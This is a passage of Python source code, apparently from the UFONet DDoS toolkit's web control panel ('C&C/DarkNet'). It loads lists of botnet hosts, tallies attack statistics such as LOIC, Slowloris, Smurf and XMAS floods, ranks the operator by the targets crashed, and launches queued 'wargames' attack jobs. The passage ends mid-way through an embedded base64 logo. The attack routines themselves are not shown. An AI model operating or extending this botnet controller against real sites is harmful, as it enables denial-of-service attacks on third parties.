  1436. f = open(self.missions)
  1437. self.missions_block = f.readlines()
  1438. f.close()
  1439. self.list_missions = []
  1440. for m in self.missions_block:
  1441. self.list_missions.append(m)
  1442. self.missions_datetime = time.ctime(os.path.getctime('server/missions.txt')) # extract missions.txt datetime
  1443. if self.missions_datetime == self.release_date_file: # never connected to feeds
  1444. self.missions_status_color = "red" # set status color for missions to 'red'
  1445. else:
  1446. self.missions_status_color = "green" # set status color for missions to 'green'
  1447. stats_json_file = open(self.mothership_stats_file, "r") # extract mothership stats
  1448. data = json.load(stats_json_file)
  1449. stats_json_file.close()
  1450. self.abductor = Abductor(self) # call abductor for data size conversor
  1451. self.aflying = data["flying"]
  1452. self.ascanner = data["scanner"]
  1453. self.atransferred = data["transferred"]
  1454. self.amax_chargo = data["max_chargo"]
  1455. self.amissions = data["missions"]
  1456. self.acompleted = data["completed"]
  1457. self.aloic = data["loic"]
  1458. self.aloris = data["loris"]
  1459. self.aufosyn = data["ufosyn"]
  1460. self.aspray = data["spray"]
  1461. self.asmurf = data["smurf"]
  1462. self.axmas = data["xmas"]
  1463. self.anuke = data["nuke"]
  1464. self.tcrashed = data["crashed"]
  1465. if int(self.acompleted) > 0: # check for attacks completed
  1466. self.mothership_acc = Decimal((int(self.tcrashed) * 100) / int(self.acompleted)) # decimal rate: crashed*100/completed
  1467. else:
  1468. self.mothership_acc = 100 # WarGames: "the only way to win in Nuclear War is not to play"
  1469. if int(self.acompleted) < 5: # generating motherships commander ranks by rpg/experiences
  1470. self.ranking = "Rookie"
  1471. elif int(self.acompleted) > 4 and int(self.tcrashed) < 1: # add first ranking step on 5 complete attacks
  1472. self.ranking = "Mercenary"
  1473. elif int(self.tcrashed) > 0 and int(self.tcrashed) < 2: # second ranking step with almost 1 crashed
  1474. self.ranking = "Bandit"
  1475. elif int (self.acompleted) < 50 and int(self.tcrashed) > 4: # third ranking value is only for real "crashers" ;-)
  1476. self.ranking = "UFOmmander!"
  1477. elif int(self.acompleted) > 49 and int(self.tcrashed) > 4: # this people is trying to build a Global Federated Network >-)
  1478. self.ranking = "UFOl33t!"
  1479. f = open(self.zombies_file)
  1480. self.zombies = f.readlines()
  1481. self.zombies = [zombie.replace('\n', '') for zombie in self.zombies]
  1482. self.list_zombies = []
  1483. for zombie in self.zombies:
  1484. t = urlparse(zombie)
  1485. name_zombie = t.netloc
  1486. if "www." in name_zombie:
  1487. name_zombie = name_zombie.replace("www.","")
  1488. self.list_zombies.append(name_zombie)
  1489. self.num_zombies = str(len(self.zombies))
  1490. f.close()
  1491. f = open(self.aliens_file)
  1492. self.aliens = f.readlines()
  1493. self.aliens = [alien.replace('\n', '') for alien in self.aliens]
  1494. self.list_aliens = []
  1495. for alien in self.aliens:
  1496. t = urlparse(alien)
  1497. name_alien = t.netloc
  1498. if "www." in name_alien:
  1499. name_alien = name_alien.replace("www.","")
  1500. self.list_aliens.append(name_alien)
  1501. self.num_aliens = str(len(self.aliens))
  1502. f.close()
  1503. f = open(self.droids_file)
  1504. self.droids = f.readlines()
  1505. self.droids = [droid.replace('\n', '') for droid in self.droids]
  1506. self.list_droids = []
  1507. for droid in self.droids:
  1508. t = urlparse(droid)
  1509. name_droid = t.netloc
  1510. if "www." in name_droid:
  1511. name_droid = name_droid.replace("www.","")
  1512. self.list_droids.append(name_droid)
  1513. self.num_droids = str(len(self.droids))
  1514. f.close()
  1515. f = open(self.ucavs_file)
  1516. self.ucavs = f.readlines()
  1517. self.ucavs = [ucav.replace('\n', '') for ucav in self.ucavs]
  1518. self.list_ucavs = []
  1519. for ucav in self.ucavs:
  1520. t = urlparse(ucav)
  1521. name_ucav = t.netloc
  1522. if "www." in name_ucav:
  1523. name_ucav = name_ucav.replace("www.","")
  1524. self.list_ucavs.append(name_ucav)
  1525. self.num_ucavs = str(len(self.ucavs))
  1526. f.close()
  1527. f = open(self.rpcs_file)
  1528. self.rpcs = f.readlines()
  1529. self.rpcs = [rpc.replace('\n', '') for rpc in self.rpcs]
  1530. self.list_rpcs = []
  1531. for rpc in self.rpcs:
  1532. t = urlparse(rpc)
  1533. name_rpc = t.netloc
  1534. if "www." in name_rpc:
  1535. name_rpc = name_rpc.replace("www.","")
  1536. self.list_rpcs.append(name_rpc)
  1537. self.num_rpcs = str(len(self.rpcs))
  1538. f.close()
  1539. self.total_botnet = str(int(self.num_zombies) + int(self.num_aliens) + int(self.num_droids) + int(self.num_ucavs) + int(self.num_rpcs))
  1540. f = open(self.wargames_file, "r")
  1541. ls = f.readlines()
  1542. f.close()
  1543. self.supply_wargames = 0
  1544. self.wargames_engage_list = []
  1545. for l in ls:
  1546. if "!!!" in l:
  1547. self.wargames_engage_list.append(l)
  1548. self.supply_wargames = self.supply_wargames + 1
  1549. if self.supply_wargames > 0:
  1550. if self.supply_wargames == 1:
  1551. c_supply = "wargame"
  1552. else:
  1553. c_supply = "wargames"
  1554. self.current_tasks = '<br>-----------------------------------\n\n+ Jobs: <a href="/wargames">' + str(self.supply_wargames) + '</a> '+c_supply+''
  1555. self.wargames_engage_routine(self.wargames_engage_list) # threaded jobs engage routine
  1556. else:
  1557. self.current_tasks = ""
  1558. self.options = UFONetOptions()
  1559. self.pages = {}
  1560. self.pages["/header"] = """<!DOCTYPE html><html>
  1561. <head>
  1562. <link rel="icon" type="image/png" href="/images/favicon.ico" />
  1563. <meta name="author" content="psy">
  1564. <meta name="robots" content="noindex, nofollow">
  1565. <meta http-equiv="content-type" content="text/xml; charset=utf-8" />
  1566. <title>UFONet - [ C&C/DarkNet ]</title>
  1567. <script language="javascript" src="/lib.js"></script>
  1568. <script language="javascript" src="js/stars.js"></script>
  1569. <style>
  1570. body{font-size:15px}a,a:hover{outline:none;color:red;font-size:14px;font-weight:700}nav ul ul{display:none}nav ul li:hover > ul{display:block}nav ul{list-style:none;position:relative;display:inline-table}nav ul:after{content:"";clear:both;display:block}nav ul li{font-size:12px}nav ul li a{display:block;padding:2px 3px}html,body{height:100%}ul,li{margin:0;padding:0}.ringMenu{width:100px;margin:80px auto}.ringMenu ul{list-style:none;position:relative;width:100px;color:#fff}.ringMenu ul a{color:#fff}.ringMenu ul li{-webkit-transition:all .3s ease-in-out;-moz-transition:all .3s ease-in-out;-o-transition:all .3s ease-in-out;transition:all .3s ease-in-out}.ringMenu ul li a{display:block;width:100px;height:100px;background:rgba(50,50,50,0.7);text-align:center;line-height:100px;-webkit-border-radius:50px;-moz-border-radius:50px;border-radius:50px}.ringMenu ul li a:hover{background:rgba(230,150,20,0.7)}.ringMenu ul li:not(.main){-webkit-transform:rotate(-180deg) scale(0);-moz-transform:rotate(-180deg) scale(0);-o-transform:rotate(-180deg) scale(0);transform:rotate(-180deg) scale(0);opacity:0}.ringMenu:hover ul li{-webkit-transform:rotate(0) scale(1);-moz-transform:rotate(0) scale(1);-o-transform:rotate(0) scale(1);transform:rotate(0) scale(1);opacity:1}.ringMenu ul li.top{-webkit-transform-origin:50% 152px;-moz-transform-origin:50% 152px;-o-transform-origin:50% 152px;transform-origin:50% 152px;position:absolute;top:-102px;left:0}.ringMenu ul li.bottom{-webkit-transform-origin:50% -52px;-moz-transform-origin:50% -52px;-o-transform-origin:50% -52px;transform-origin:50% -52px;position:absolute;bottom:-102px;left:0}.ringMenu ul li.right{-webkit-transform-origin:-52px 50%;-moz-transform-origin:-52px 50%;-o-transform-origin:-52px 50%;transform-origin:-52px 50%;position:absolute;top:0;right:-102px}.ringMenu ul li.left{-webkit-transform-origin:152px 50%;-moz-transform-origin:152px 50%;-o-transform-origin:152px 50%;transform-origin:152px 50%;position:absolute;top:0;left:-102px}textarea{padding:30px 0}
  1571. </style>"""
  1572. self.pages["/footer"] = """</center></body>
  1573. </html>
  1574. """
  1575. self.pages["/ufonet-logo.png"] = base64.b64decode("iVBORw0KGgoAAAANSUhEUgAAAQAAAADvCAYAAAAdFwqFAAAAMGlUWHRDb21tZW50AAAAAABVRk9OZXQgTG9nbyAoaHR0cDovL3Vmb25ldC4wM2M4Lm5ldCmFGnIqAAAgAElEQVR42u2dd5hWxfXHPwcWFpCOoFixoWBBxYpdFDtYErsx0dhLTKLGWBNj11hTbKjRqMEoP1sUGyKKHQIWpCgoggVkpQovZc/vj5mN6/ru7r33nXvfe+873+eZZxf2feeemTnn3DMzpwgemYMq3YC+QB+gN9AF6AB0bPCz7vcVwAJgoW0LGvycDXxk2yQRlvhZrgyIn4JUC3o7YEdgUyvsdULfPcbH1gKfAROtQpgIjAfGi6B+VbwC8IhP4AXYCtgbGATsBFSnhLxvgJeA54EXRPjcr5hXAB6lC31PYF8r9HvF/HZ3icl1ygAYKcJiv5oeHsGEvrUqP1HlWVVWqqIZbwtUuUuVHfzqegvAo3HB3ww4ATgOWDWnw5wIDAUeEGGOX3WvACpd6NsBxwInAttV0NCXA08Bd4vwrOcEj0oT/Laq/FqVr3Jg4pfaxqpyoOcKj0oQ/GpVzlblCy/4P2pvq7Kf5xKPPAp+a1VOV2WmF/Rm2xuqDPJc488A8iL8RwHXAmuXkYwVfO/pV9/LbyFQxY89BDsA7cvMA2OAM0UY77nIK4AsCv7awO3A/gk9shaYjjlpr98mi7AwAv0C9MB4GNZ5Gdb9vlqCius64HIRCp6rPLIg+KLKmfb+O05T+TtVnlPlXFX6q9ImwTF2VWUvVa5RZZwqtTGPdZIqO3vu8ki78PdRZUxMQlBrT8yvUWVgkgIfYNzdVTlSlaGqzIhx/H9VpYPnNI+0CX5LVS5RpRAD409T5WJV1szQfGynyp0xWUEzVNnXc51Hmt5+Ix0zeUGVYarsbffiWZ2bVVQ5QZXXY7AGrlClhedAj3K/6T53/Hb7jWr+XIFV6avKLfbswtV8PWfzH3h4JM7QJzs0+WfZg8PqCpi31VW5WZUljubuU1X6e470SIqBq+1hlwvm/dq6BLepwHlc0x7quVCiS1U50XOnR9xMu5Yq7zpg2BpVzrfBQJU+p+vYcGEXoc93qlLlOdUjDkZdX5XpDpj0EdXEHGmydp7yvoP5faIStlIeyTLnJg78+GepMsTPZpPz3MrRderz3rrycMWUW9i9eilXVrer0snPZuA5d+FQNdo7DXmUyojb2v16KSfUu/qZjDT3ospZ9oCvlBDjLn42PaIw4C4lerK9mMf7/DIp4VLciyeo0sPPpEcYpttBlcUlMN21qrT0M+lsPUr1tvxQlc5+Jj2CMNv6qsyOyGgLVfmJn8VY1qWlKjeUoARGqtLKz6RHU0zWVZXJERlssip9/SzGvkZHqLIo4hrd52fQozHGqrYnx1EYa5z3SU90rXZUZV7EtbrEz6BHQ4YSVR4qIYed318mv2b9Vfkm4pod42fQoz4zXRmRkV7xd81lXbfNI/poFFTZxc+gB6oc673NMr1+G0f00pyryjp+BiubedaLeNf/tPc3T9U6rq/KZxEtOJ9UpEKZpmXETDVvqtLWz2Dq1rNvxIPB3/vZq0yGuSxifj7vVZbeNd1LleUh13SZKtv42fsxJMeMsgPwKoSKHZ8HDBDhoyxaO0Anflj4o674x0p+WDTkf00EzeBYTwLuDPm1KcDWIiz2Yp9zBWBP7ccD64f42nJgXxFGpnxsrYCNgE0xBTw2tW0jCO0FtxD4CPgQU2DkQ+BDEWZkYI2vA84L+bW7RDjZi33+zcR7I5j+P0/xeDa2UXNPl+AhF6Z9ocp9qhylSveUzomo8liEsfl8DTkX/r0jMMWtKRtDC1UGqXKHDTcuZyHPWpsi7cq0uUGr0k6Vj0KO50vv15Ff4a9S5YMIUWRtUkL/GrZAyHRNb2XfMaocnxb/CFW2ipBd6DovLflUAGdG8BbbMgV072/z3K3IUInveTbj76YpmL/zI6z7Rl5i8iX8Xa3nVxhGOK/MNO+ryjsZEvrGtggPq7JxmbdMYXMJPO2lJl8K4C8RYsdblInWPVR5LeOC37CtsAeH65VpTteKkNptPy85+RD+TUOaz9+qsnaZ6HwpZ4JfzOnmr+WInlTlpxFKkvsEIjlQAC+EXPjTEqbPVSrsLLVZqgwuAy88GZLO33gJyrbwDwy54O8lmctPla1VGV9Bgt+wPZRk4lRVNrJWSJgKTu29JGVXAYwIyZB7JPjWvyqC33oe2+wk8yhGyCt4jpekbAr/FiEX+rGE6Ophw1DVtx+0PydhfanSKWTS1898vcFsKoD7Q1aXXS8BmvqXmOM+7+0FVbomsA6nhKTraC9R2RL+tULu9a5MgKZjVVnihTxQyPXmMa9FS1swJHDSVy9V2VIAN4S89msfMz3XesEO1RapclDMa3JASJr28pKVDeHvpMr8EAt7dYy0SAQnJN++9xk4LOa1CRMbMsJLVzYUwLkh/b57xshgd3hBLqktV+WIGHnl+JD0bOYlLP0K4P0QC3pPTDS0UOUeL8DO3IiPjWmdWoXMKHy9l7B0C/9mIQNV+sZAg4S8gfCt+bZSlZ+lwGKcoZrfVHkNkcV0yUeF+OyzIkyMgYYrgeO8OnbOi0NVGRhD33cC8wN+dm1gZ68A0osjQ3z2hjj2lODTTMeEKuBR16HFIiwA7ojpJZNpZMrUUWV74M2AH/9UxK3jjy019SLQ2stqrPgY2EGEuQ7Xrg8EtgbnAGuIsMJbANk1///lWPg3AIZ74U8EGwLDVd3NtU31/l7Aj3eHyvAJyIwCsMk7Dg/xlYcdPrsN8AQkF9Xmwa7ATY77DPNSOMorgHRhFwh8nz9RJLC2D4JroPy57yoQpzvO2jMsxGcPdmmBeAVQOsKYZM7Mf3sqfbaXxbJhqCrdHG0DpgHvBPx4R2BbrwDSg92SNv9tWqv7oHLuhVOInsDtZdoG7OYVQDr2/22A7QJ+fKwIHzt69F+BtbwMlh0/UXXmd/GIVwDZswB2AKoDfvYFR0pnMPgY8RThNhdVm0WYCYGLvw7Ie6KQrCiAMJp4tAPhbwX82ctcqtAJuNxRX68E/Fx7oL9XANlRALXAGAfPOwtzF+2RLvzSUSKR0THwnlcAMe3/W9stQBBMsG6fpTyvG3CJl7VUoiVwY4IWgFcAKcC2QNukzH/gj5B8UQuPwNhLlQNLPAf4AgIfFO9crgpSXgEYbJHU/t8GoZziZSz1uMFBduGgVkBHYF2vAMqH3iE++2qJzzoXfHroDGBj4OAEtwG9vQIoH4KWcZ4lwpwS3v7dIZ6sNB6xoNSSXv+NgQe9AiijAphS4nNOB9p4ucoMBtjw8Kj4BFCvAFIM64QRNKZ/agnPqbYKwKNCrAARlgCz/BYg3egFgcs3l2IBHAule5l5JI7DVEs6oAt6E+AtgJSb/yVZAMCZXpYyiZbAqSV8PyjP9LLeoV4BJIwwplckC8Be/W3pZSmzKKWmQFALoCWwvlcA5dkCBMFKYFoZGMij/FhPNXCkaFQFEIYXvQJwiI4BPzdLhGVeAXgrICSmx8CLXgE4RNCCnvOjdG7LQPX18pN5HB6xmMf8GHjRK4AyKIBF/u1f0VgLGBDhe4u8Akg3Vgn4uYUR+z/Ey05uEGUtF8bAi14BZMECUKWrN/9zhdBhu9YZaKW3ACpzC7AzPtlnnrCVaiQhXewVQPYVwMKICsAjP2gZ8RxgoVcAlWkB7OJlJnfYNcJ3FlWyAqjKCX0rw3SqSlvyl+xxLibEdRwwHvjGvt3qt0WYmIe+mEpHfeu1LhWqAILyTkuvAJLHEoKdvnYK2e82kHnf7mWYeoXDgHdEmBHwe7Nse6GBUtwdkwx1SIaZfTtVqkJW9e0Qo5XpFYADBRAEYb20Nsnwmk0A7gEedFk+W4RRwChV1sGERv8S3JTkShDVGJfdMC6+HStZAbTIiQIIawFkMbxzGNBfhC1FuNWl8DdQBDNEuADjXHMiJnFGlhA4nbv1HuzgFYBXAGnGf4FdRThShHFJPVSEpSLcA2wGXAUsz5sCsNvLFl4BVJ4CyEKGlzmYDMXbiJSc7LRURXARJmT6tZwpgDBbR68A8qAAbI73DVI+7r8BvUW4U4TaNBAkwkTMKfsvgZoKVAALvQJIHvNdKwBgbYIXGk0aNcAQEc4QYV7aiBNBRRiKOUR9KgcKIAzfeAugDPg8Bk2+WkrHOgbYUoQn0840Nv36EOD3hPTBSABhcjtWvAWQ9mvAoHfbVap0FQlkmqbNo0uBa4BLQ95f/9h8mNOtxSo9arYH+gFrAD1t/1/YNq5a9V1X1gBwjSpvAQ+nSLGGWd/uMfBikG1oK/vsHvVaw3+3sVvgJcB3ti1p8HNcqedDeVEAYE6rR2dMASwEjhDh2VI6KYhsCZxOj5rBzQliQWQm8Djwl2rVyQ4UwcuqbIW5pkyDe3UrVVoHzBC1WQgl/UlEYW9hn7NTvdbLmS5RrgcuFsnMLU2oydtRFQ3YTg/Y59Eh+oyzzVQNVfewmDD3Koj8syBSWxDRkG15QeSOgsgajtaqSpWbUjK3XQPS/GTA/maEmIdVVNlTlUtUGaHK/ATG+6Zq4PoZmVIAa4aYhL8H7PPkFDDoBFXWLFH4BxdEFkYQ/IatpiAy0OGa/T4F87tOQFqnB+zvpWb6aanKQao8o8ryMo15niqH5+0Q8EuCO6AENefKvQV4HthZJHBVmmLCfz7wf47G0gUYURA51cXgRLga40qsZZzj9gGEvz3Bq/5+3Egfq6tyESYj9ZPAfmXcVncChqmGq5aUagVg78CnO1YA7co4pIeBA0SinygXRM4CrnW8dlXA3wsixzlat78Dx0Fph5oloF1AfgmaEGZqA8HfXZVh9ozqCghmcSSEP6tyWV4sAICxAT/XWZW1gshQmcbxb+C4Uk76CyKDgJtipPGugsgAR0rgQeBQYGkZ5roQUAEExcfWzD9NlYnAy8DhpDei9A+qXFtpCgBg8wCfKYdDx+PA0SLR78xr5nTrCDxI86G604EHgHMwp/L7ARfbLUNzAUTVwL9q5nRr40gJPAXsX4Y5X+SIV+qwquXDvwF9MnKEdr4qh5F1WHMr6EHIeQH6Oy7hw5mnVGld8itN5IpmDvOWFUQuK4hUNdFHF3tr0NzB4LmO13A7VeYmOOfdA9D0UkpuLOJs36iyetYVQCdVagMOeHiA/g5JcAFG2NLjpb3OTmvboyCyuAmBnVIQ2SqEMjmkIDK/if7mWovD5TpupsoXCc1722ZoaZXQ9Vwa2t/yYAVMCTjYhc29bVXZO6GJf1EVJ6Z0QeTMJoS1UBDZPEKfP2vGCjg2hnVcX5XPYp73FQHo2KNChF9Vmw4hb5ERHRD0HKA9zeeFS2I/+gowWMTZAVhTRS8urVZ9P2yH1ar327OJKM+MeiYwDRiECXWOC0HSfB9A5aBPU2XTsqIAwvg7N7e438RM6zvAgSJ856Iza4o3ptQ+BK4vofuToVGX2X1q5nRrFYMSmGwPJuMKrvnGK4Af4A0bt5FpBfCcQwXwKfFFsH0GHCTizspYpUdNLxp3LhlVrRo5X0C16hygMethlVV61PSMY5JEGIuJJozjSvbj5rYhZDsnZFgMy/wWQIRPMN5WQbCRauMx4TZo4tMYyFyAcfL52nG/azjYGkXdXq0R47K+AUyKod+pzfx9/woS/ieBu/NwBuDaCpgaA303i/BhDP2uXkYFEMsVkt2T3ocJW05aAVSK+f8WcFRzvictmlikVVXZTZUzVLlQlSNU2VqVjl4BFMXvVNkzhn6b2k64yGzUVB9x7dOvIL7S7FOb4Ol2wO4VIPx3AHsGOYeqamSizgOua2IiZwMvYU6Rny3Ftz0ERmJ8y4MEW+ymSieRRlOKxaEAqoHHVdlThHcd9vtFE3/rjzl0LAVNVUj6Moa3/6nAhTHySVNruw+4uZpNKWYDJ4rwdEkLFPKesaDKs6qcokrPOEenyssh6DqniX72ifHedY6qu0MmG/Pf2F393Q76/6Cx/mu+6trZ8fqdEMKpK0pbptr4C8I6ZuXxrn+pKn8OmgehuUUaVQIhtapcEKMCCBPLP6Wx+09VusTMiLNU3fmMF0RmNCKknxZE2pbQ70YFkRWN9P2+47U7TpWVMQvCG008f6OY19xVTP/n1oX3uwD01qrygGrgsOZACzXdwUCui0kBdLEWR1A6BjXR13sxL+YcVTcFSAsitzZhBdwcsc8WBZExTfR7ucN1O0qVFQkIUFPb1htTIuTfqfKCzRh0rPVK7K1avAamKm0s36+pyoaqbK7K9jZGZpM4hGyxo4HeZfOhuaZveAganmyin78ksNjzVSNVrG0orLs1Iai1BZHdIvR5fjOuwP0crddPEsySc2Bjh3+qfFtGoX9LlSttqrC0pqT/32S94XDg/3YRCdeAvkNDPH+lavEEjKocnqDGP8CBEnitCWH9qiByYIg3/69tDEFj/T3taK2G2H15EvO8UpXOjdBxUpkE/10XL4CkFYBrU+m5xsybiPRVh9Tm1zbST88EGWGZKkeWqAB2ChDGe29BpFMTfWxQEBndTB8rowQXFZnfA0Ju10pt45ugZXwZhP+xOCzgJBTAT2KYjNdV6eKQxjtDxkS3aaSfKQkyxEpVTi5RCdwfQAksskJ+U0Hk2ILIqQWRuwoi42zOgOa+f6ujN//ShAXu1kZo2bkMwv9OcyHJaVYAPWLasz3nSiOq0i/ks3/ZSD/lSGN9XtRx18zp1qYg8qaDTMCNtRdr5nSrKnFtzkrgtL9Y26cReh4tAy2DMu1NoMq/YpqYSxzS+ELIHPztivSxQ5n2hleWYAWsXhCZGoPwv1czs2uXEtajRRlP2r8pdv9fpvV9L/PuRKrsFKMZPNARjWGdeS4t0oeo8mmZmPafxZRSIEtgZtcuBZEXHAr/4zVzurUvYS3a2j1vuU7Z72iErjFloOUa8gBVxsXoJNPeEY1h7vIXFfNUVOX6MjLu+6r0jrgdqLJ5ApeWIPiLCiIX1szpJiWswTq2Mk0579YHFqHrp2Wi5fC8KIBfxDhJVzii8Wchn3t3kT62KTPzzi8le2tBZN2CyIP29D6o4C+zZcFWL3H+Byec7LNY+1r1h5mSVWmtyidlomfzvCiANnbvHMckLXHhvmiTO84MuQXZokg/n5SZiVWVG5ryY28O8x7v2L0gckJB5AnrIlz/nn9JQWRaQeTRgsgxpfr4WwG7OSWedX8tQt9vy0hPP/ICVU6McaIeckTjaSGf+3yRPn6XEmZ+zaV7Z82kLt1qPu3a1TFPbGAdXNLiP9+vAX3dyuz1t22eFEBLVSbGNFHLXUQP2qq0k0I+e78GfXS2GYXTwNAFVf7kKqOwQ15orcp5qixIkfC/UITOW8pM087kCaocHONkXVgmGqer0qlBHzeniLFVlY/Tcp9svfqmpGx+VJV9G9A5IGTQ0YIYvAQHkjdYT744FvCTplIWh6Tx1ZDPfrDB93slFLEWtj1cruouqmxsS16nMXT2gwa0dlRlWsg+zrVnLy7p2i+PCmCXtJtMEZ0+jm3Qx7CUMvtCVW5TZeME1/veBAN5orRfNKD5nyG/P9EeIrsuFXc4eYQql8W0kBc7pPGRCFdw69X7/rYpTxhRa12qD3QdaGLjzS9MqalfzJekdT3aj47Qx572u1s4pu1P5BWq/CGO+nmOmThszbcx9e+RY3SDjmP79FubqLVdhLnqaff2l6jyfJn896O2nzfYuoVd82ENrpJdWjpPZUmmJQLjDMdt2agFQNdSSmc3oO8U4PaQX/ujCH+w318Xk68+S8kjFVPrYGK9thTogCmX1qFeWxvYGjJbNXYcsK0ItVZxvwLsFOL7i4FNRJhZj2fG4y5F+UwR1s6zFbBRDHvDPg7pE1VeCVtQUvV7JlLlqgoqHpm1tmuJ29LfFeGZexzT2C0r8hx6HynCVGCoYzqcZRO2ddBOsm/AoGgJDFdlA/vvq8F5hR+P0jFchNFWaI8ALgv5/bHAjUX+f6RjOrfMrQKweNQxHas53dcIU4A/hvxaD+A5VXrYOgcXe3lLFZaByaWgyh7A/SG3sIswlXKWF/nbS14BhMOruC2z3SOGsd0AvBbyOxsA/7HRikOBUV7uUoM/iDDNxnI8DqFzTZ5prddiL4wv7bmJK+yYawUgwjLgdYd0rOp6YCKsAA4DZoT86jbAv+224HhotLqQR3IYA1xrD2ifhdDl6R4S4R/NfMalFTDIdTLctFkA4LbC7vI4BifCbGAw5uQ3DPYFhoowAzjLy19ZsQj4GdAZGEH4isXTgNMCfM6lAugA7JF3BTDTIR2L4xqgCBPsm1xDfvVnqlwtwgMxnHl4BMc5mBqFT0HoSMkVwNEiLAjw2VH2864wOO8K4KssKACrBB4j/KEgwAU2f9+pxFAo06NZPGGV7zPAgAjfv0iEtwLyyHzM2ZYrHJR3BeDSUea7BMZ6ecQ3+YXATcDRQMHLZGKYAlyKOcjdPcL3h4qELlHn0otvbVW2yrMC6OiQjq/iHqj1DzgeGi8g0QSOAy6y5qhH/JgLXAD8B9gswvefs1ZbWDzteByD86wAOjikY1ISgxXhO2AIpo56WOxlmepOL5+xYhlwG3AvsFaE708AfmpvgcLyx1RgslcAyVoAi4HPkxqwPdk/1DJaWPQD9otoRXgEw8t229Upwnc/B/a3jlxR4XIbsLVqJCVWUQpgsjXPSVAJjIloIoIJptkYqPWy6hyLgUEQ6Q59vhX+L0qkwXU030F5VQCutgCTyjFwEe6FyOnJ25Y4dx7FsQpEyhC1BDhU5IdZgiJiDPBtpWwDSmFiV8U+PyrX4EW4BH5cMcgjU1gA7CviJqDHhqU/65C+PVwVwkmbAujtiIZJ5ZwAEf4EnO/lKJOYCwysixB0CJfbgGooXrg0swpAla64i+CbVO5JEOF64GxI9izCoyR8Aewqwrsx9D2CCvEKjGoB9HX0/JVQPEKrDErgNuAU/OFeFjAN2FnEaQRffV6YR/hI0qZwQMPyZVlXAK4y+EwXSY93nQh3YU5tF3gZSy0mAruIMD3m54xw2Fc3orky594CmJS2CRHhGWAH4BMva6nDU8AAB1d9QfC84/4GewXwY3ycxkkR4SNgO9ynivKIhlrgEmCIDdpJAuOJ5jHqFUCYLUBaOU6EGszp7V+9/JUVNRgHnyuSdBizz3JpBfROqrBLrApAlY7gzL1xWpo5T4QVIpwJHIFb5xCPYBgH9BfhuTI93/U24KDMKwBgU4fPn54FLhThEWBz4EUvk4lhKLCTiNPMU1EUgEurY3AeFMBmlaYArBKYhfFTP4dwKcc9wmEGcIAIvxQp7zyL8DUmutAVBqStZkA5FcBXNjyXDCkBFeEWoD/wjpdVp6gFbgE2tTcxaYHLbUBL4ACvADL29i+iCCZirgpPAuZ42S0Z7wE7inCOiNN08y7g+vxhsFcABtOyzLEi1IpwNyYm4jZwU9uwwrAUE/vfX4S3U0rja7jNWbmPKq0yqQBU6Y67Ih7T88DBIswT4WxgK0yhSo/msRy4A9hYhKujZO9JcH2XYUKEXaE9sGFWLQCXB4DT8sTRIrwvwu6Yg8LRXsYbFfw7gY1EONVmZ8oC/uu4vw2yqgBcaq6ZeeRwEV4QYTdglxj2j1kW/Lus4J8iwmcZo3+8VwAGazh8dss8c7wIr4mwL7At8H8VekawAPg70FuEkzMo+HEpgPW9AjBptXIPEd4V4VBgHcyB18cVMOzRmBTsPUU4vczOPC4wBbe1K7wFUCkKoJ4i+MIeeG2EKXTxACaXXV7wBXC1NfN3E+H+rPl5NLF2tcD7eVQAVSE/v6bDZ7ehQiHCK8ArqiwBTs7BkC4FrrL59PKK6cD2jvpaT5UWVrFUrAWwMRUMVfbEOBLlAf1yLvxgohJdoRpYPVNbAFWqgO4On31wBQt/e0ywi+RkSENUnVqHaYTraNDWmVIAVvhd5sLvreosr0DWcD3QK0fjqcrJViZJBdAiawogjgOdYyrw7T8Qk3w0bzgpTS6uKd8CkBbrL4wCWID7u+zzVdmpgoS/Q85M//roCRyS4+VbVNEKwKZIcm0GVQHDbIxBpZj+6+Z4fL/J8dhWq2gFYDE3BhrWBF5TZdecv/33yqnpXx/bq7J/Tse2dh4VQFg/gJqY6OgNjFLlLuA6ETcpuVVpjYleLFabbTnwZRLOKvVM/0rA5ZCqhB5eAWRAAdRNyMnAyapMxRRmeAP4EvgK+NpaLF1t61bv97q2KuZ+dTX7s2sA4ZyLqSv/OSYd1QRgtAiTHY7tRowrcCWgvypDRHgiZ+NyvX4L0zCoUFpIlbuBEyuEkWcDr9o2UiSaK6gqvwJuprIwAdgqyTTeCVhxM3HnCbtYJB0Vg8OeAVRSVtwewGFWeN9TZawqp1hzPijTHAXcROWhH/DTHAn/jrh1g09NQFhYBfAMsIzKxNbA7cCXqtytynbNMM3pwD/I55VfENysSuecjOU0x/1NyaQCEGEB8BKVjVXsNugtVd5T5Ve2XHqd4G+pymOYikKtKnieeubB+rFr69qamZqW8UmECdkReB2P+igAs6zAr+2n4wfYR8R5hZ0kFcBvgRscd/tzEf6RSQVgJ+WRPO3xPGLFDEyu/0UZFP7VMPUfXCv1nUTS8RKNqgDWx6RJ6uD52yMA7hHJ1u2RKp2AUcCWjrteAXQXYZ5DWutyUM4BvgFetsVtY52gwarUqqK++RagXZAh4W+jyisxzcMIh3R2V+W+Is+Yo8ovVJt/wUcOSRThSeBi/3LzCIirVDk6A8LfEhgGsbmmD3NEZytM0ZLji/x5VeAeYLQqvZ1vARoQ8jBwpOdvjwBYBuwrwsspFf7emKvePWIc/2ouzP8Qh5OzgB1Eiqfhd6EA2mK85fp7/vYIgPmYm4G3UiT43YBfA+cRb6aep0RKrw1oo2enAp0CfuV9YBcR5jvbAtTbCizBpPf61PN2LFiRs/F0Asaoco1q+RLDqiKq9FdlKKZIzUXEn6ZrmKN+zgsh/ACbA8NtcJxbC6DehPbAFMAY4GXWqfBfClyV0/FNBs4Fnrc1+OIU+CpM/cZdbHdrZ1kAAAsRSURBVNvZ7pWTwhKgh4vrUFXexhScCYt/iPDzWBSAJawaUwLqOC+7TvBzTCq2RypgW/A0MNwqg0Ul8mFXTAbrtTCpvHfBlHNfpYxj/IsIZzmQsTaY7FxRvUz3Ffm+ZF0sfuqqXAhcQeX6wbvA70W4xl6fXV3OLXIZ1vFL4BPbpmHC0AuYQ7S6nx2tkPes97OuVadsLediCqZ860C2BlBateLJwOYiLIfw+QCCngtcpcqHwK1UThy8S9wiwjX293KXkn4D2DFhJVAnyDvnZD0vdiH8FqUWJ9kYOAeTni6+1MQ2IURv4FeY2HqPYLhChHPq/bvcZaRaY+6UPaJhgt0Wu8I2Dvq4RJWesSoAqwQKItyKqYZ6Ebhzf8whFPiVCJc0+P9yWwBbA9d6JR4ZZzuumtTJQR8dgOtiOwNoYv/SGTgWGIQpkBlHLMFKy6xf2/aVPTSpsm+zVnaP2AfYlHSUKV+OiRB7qMF8tcEcApb7LOUoS8NDXp5DYZiIWyc560q8j6PuNikbY1lXxh2sMtgbc60R1CJZijkc+gSTXaX+z0